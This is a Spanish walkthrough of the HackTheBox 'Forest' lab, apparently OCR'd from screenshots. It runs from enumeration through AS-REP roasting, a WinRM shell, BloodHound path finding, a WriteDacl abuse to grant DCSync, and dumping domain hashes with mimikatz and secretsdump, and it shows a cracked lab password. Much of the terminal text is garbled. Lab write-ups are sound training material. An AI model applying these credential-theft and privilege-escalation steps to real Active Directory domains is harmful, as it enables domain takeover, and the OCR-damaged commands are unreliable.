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1- Enumeracion
Comenzamos enumerando los servicios que tiene abiertos nuestro objetivo.

PORT STATE SERVICE
open domain
open ker
open msrpc
open netbios-ssn
open ldap
open microsoft-ds
open kpasswd5
open http-rpc-epmap
open ldapssl
open globalcatLDAP
open globalcatLDAPssl
open  wsman
open adws
winrm
unknown
unknown
unknown
Lcp open unknown
open unknown
cp open unknown
cp open unknown
p open unknown
open unknown
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e Puerto 53 probablemente utilizado para servicios DNS.
e Puerto 88 con servicio Kerberos.

e Puerto 139 y 445 con servicios samba.

e Puerto 5985 con servicio winrm.

Esto parece un controlador de dominio. También notaré TCP/5985, lo que significa que,
si puedo encontrar las credenciales de un usuario, podria obtener un shell sobre WinRM.

Afadimos el dominio encontrado al archivo /etc/hosts

- Ffhome/../auditorias_maquinas/maquinas_htb/Forest/nmap

18.18.18.161 htb.local forest.htb.local

0- Enumeraciéon de SMB
Tanto smbclient como smbmap no nos retorna ningun recurso compartido accesible.

- ~/Desktop/auditorias_maquinas/maquinas_htb/Forest]
i @8.10.10.161/
Anonymous login succe

Sharename pe Comment

Reconnecti wi SMB1 fc roup listing.
do_connec ection failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
t with SMB1 — no workgroup available

-[~/Desktop/auditorias_maquinas/maquinas_htb/Forest]
18.19.18.161
[+] IP: 10.1@.1@.161:445 Name: htb.local

Pero vemos gque podemos acceder mediante sesiones nulas por lo que mi siguiente paso
es probar suerte e intentar enumerar con la herramienta rpcclient.

htbh/Forest]
enum. txt
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Esto me devolvié una gran cantidad de usuarios, ahora solo filtraré por los usuarios que
me interesan.

-[~/Desktop/auditorias_maquinas/maquinas_htb/Forest]

t usersenum.txt Llength < 15

- ~/Desktop/auditorias_maquinas/maquinas_htb/Forest ]

1- Ataque ASREPRoast

El ataque ASREPROoast se basa en encontrar usuarios que no requieren pre-autenticacion
de Kerberos. Lo cual significa que cualquiera puede enviar una peticion AS_REQ en
nombre de uno de esos usuarios y recibir un mensaje AS_REP correcto. Esta respuesta
contiene un fragmento del mensaje cifrado con la clave del usuario, que se obtiene de su
contrasefia. Por lo tanto, este mensaje se puede tratar de crackear offline para obtener las
credenciales de dicho usuario.

~/Desktop/auditorias_maquinas/maquinas_htbh/forest
ldap htb.local 5 txt ' hashus
tandard 143 x64 (name:FOREST) (domain

put encodi
rd ha ( ep, MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 2

C/s 54552525 ..s3rlbu

~/Desktop/auditorias_maquinas/maquinas_htb/forest

Tenemos un hash de contrasefia para el usuario svc-alfresco, s3rvice. Utilizaremos la
herramienta Evil-WinRM para obtener acceso al objetivo. Esto solo es posible porque el
servicio WIinRM esté abiertos (consultar en el escaneo de nmap).




- [~/Desktop/auditorias_maquinas/maquinas_htb/Forest]
10.10.10.161 svc-alfresco s3rvice’

ath completions sabled due to ruby limitation: quoting_detection_proc() function is unimplemen

\Documents> [I

-alfresco

LastWriteTime Length

Directory: C:\Users\svc-alfresco\Desktop

iteTime Length Name

2- Elevacion de privilegios
En Active Directory, puede usar BloodHound para encontrar relaciones (entre usuarios,
grupos y computadoras) que pueden usarse para escalar sus privilegios. Es muy Util para
el equipo rojo, pero también para el equipo azul para identificar y mitigar las
vulnerabilidades y limitar las rutas a objetivos de alto valor dentro de su arquitectura AD.

Utilicemos sharphound.exe para visualizar el dominio y buscar rutas de escalada de
privilegios.




cuments>
IATION |Resol

!
t 0 objects finished ( ) -— Using 45 MB RAM
onsumers finished, closing output channel

comple
B RAM
| INFORMATION |Enumeration finished in t46.
| INFORMATION | SharpHound Enume ic : @ PM on ! Happy Graphi

alfresco cuments> ls

ocuments

ownload 141050_BloodHound.zip

Deberia haber un archivo zip en la carpeta, que puede ser cargado en Bloodhound.
Upload Progress

20220328102427_domains.json

Upload Complete 100%

20220328102427_gpos.json

Upload Complete 100%

20220328102427_ous.json

Upload Complete 100%

Una vez cargado el archivo, buscamos el usuario svc-alfresco y lo marcamos como
propio. Haciendo doble clic en el nodo deberia mostrar sus propiedades a la derecha.




SVC-ALFRESCO@HTE:

S

ANAGEMENT USERS@HTB.LOCAL

o Member0f
R
SERVICE ACCOUNTS@HTB.LOCAL PRIVILEGED IT ACCOUNTS@HTB.LI

ACCOUNT OPERATORS@HTB.LOCAL

Uno de los grupos encontrados es el de Account Operators, que es un grupo privilegiado
de AD.

Los miembros del grupo Account Operators pueden crear y modificar usuarios y afiadirlos
a grupos no protegidos. Miremos esto y miremos las rutas de acceso a Domain Admins.
Buscamos la Ruta méas corta a objetivos de alto valor.

@ WriteDacl @

EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL HTB.LOCAL

e

GenericAll

@

ACCOUNT OPERATORS B.LOCAL ENTERPRISE KEY ADMINS@HTB.LOCAL

Una de las rutas muestra que el grupo de permisos de Windows de Exchange tiene
privilegios de WriteDacl en el dominio. El privilegio WriteDACL da a un usuario la
capacidad de afadir ACLs a un objeto. Esto significa que podemos afiadir un usuario a
este grupo y darle privilegios DCSync.

Volvemos a la shell de WinRM y afiadimos un nuevo usuario a los Permisos de Exchange
de Windows, asi como el grupo de Exchange Windows Permissions asi como al grupo
Remote Management Users.

PS C:\Usersh\svc-alfresco\Documents> net user elhackeretico elhacker1995! /fadd /domain
The command completed successfully.

PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions” elhackeretico /add
The command completed successfully.

PS C:\Users\svc-alfresco\Documents> net localgroup "Remote Management Users" elhackeretico /add
The command completed successfully.




User accounts for V'

K4ADACQNUCA Administrator

ultAccounT elhackeretico

malk
SM_1b4&1c92
_681f53d494
SM_9b69f1b9d2
: svc-alfresco
The command completed with one or more errors.

PS C:\Users\svc-alfresco\Documents

~ elhackeretico
User name
Full Name
Comment
User's comment
Countr i
Acce
Account

W W

M W wmww
Lo L O B

rkstations allowed
on script
User p10+11ﬁ
Home di
Never

n hours allowed
Local Group Memberships

Global Group memberships *Exchange Windows Perm*Domain Users

The command completed successfully.




c-alfresco\Documents> upload Powe
:\Users‘svc-alfresco\Documents> 1s

vc-alfresco\Documents

LastWriteTime ength MName

PowerView.psl

arpHound.

—g—

a 4 AH 9; 5
Los comandos anteriores crean un nuevo

usuario llamado elhackeretico y lo afiadimos a
los grupos necesarios.

BloodHound nos detalla como abusar de ese privilegio.

Info Abuse Info Opsec Considerations References

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges.

You may need to authenticate to the Domain Controller as a member of EXCHANGE
WINDOWS PERMISSIONS@HTEB.LOCAL if you are not running a process as a member.
To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object
(these examples comes from the PowerView help documentation):

$SecPassword = ConvertTo-SecureString 'Passwordl23!’'
$Cred = New-Object

-AsPlainText -Force

System.Management.Automation.PSCredential( 'TESTLAB\dTm.a", FSecPassword)

Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already
running a process as EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL:

Add-DomainObjectaAcl -Credential $Cred -TargetIdentity testlab.local -




Abuse Info Opsec Considerations References

Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already
running a process as EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL:

Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -
Rights DCSync

Once you have granted yourself this privilege, you may use the mimikatz decsync function
to desync the password of arbitrary principals on the domain

1sadump::dcsync Jdomain:testlab.local fuser:Administrator
Cleanup can be done using the Remove-DomainObjectAc! function:

Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -
Rights DCSync

A continuacién, vamos a descargar el script del PowerView y a cargarlo en la maquina 9
victima.

> upload Pow

' -AsPlainText -

edential('htb.1

htb,DC=10

Ahora con impacket-secretsdump hacemos un volcado de todos los hashes del dominio.




Password:

[-] RemoteOperatic i : DCERPC Runtime E1 code: ;

[*#] Dumping 1 1s (domain\uid:rid:lmhash:nthash)
the DR

10.10.1@.161

dmini
WAdmini

Usersh\Administrator

th Name

Music
Pictu
ed Games
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ministrator> cd Desktop
ministrator

Users\Administrator

LastWriteTime

6 AM

Users\Administrator®

Administrator®

) function is unimplemen
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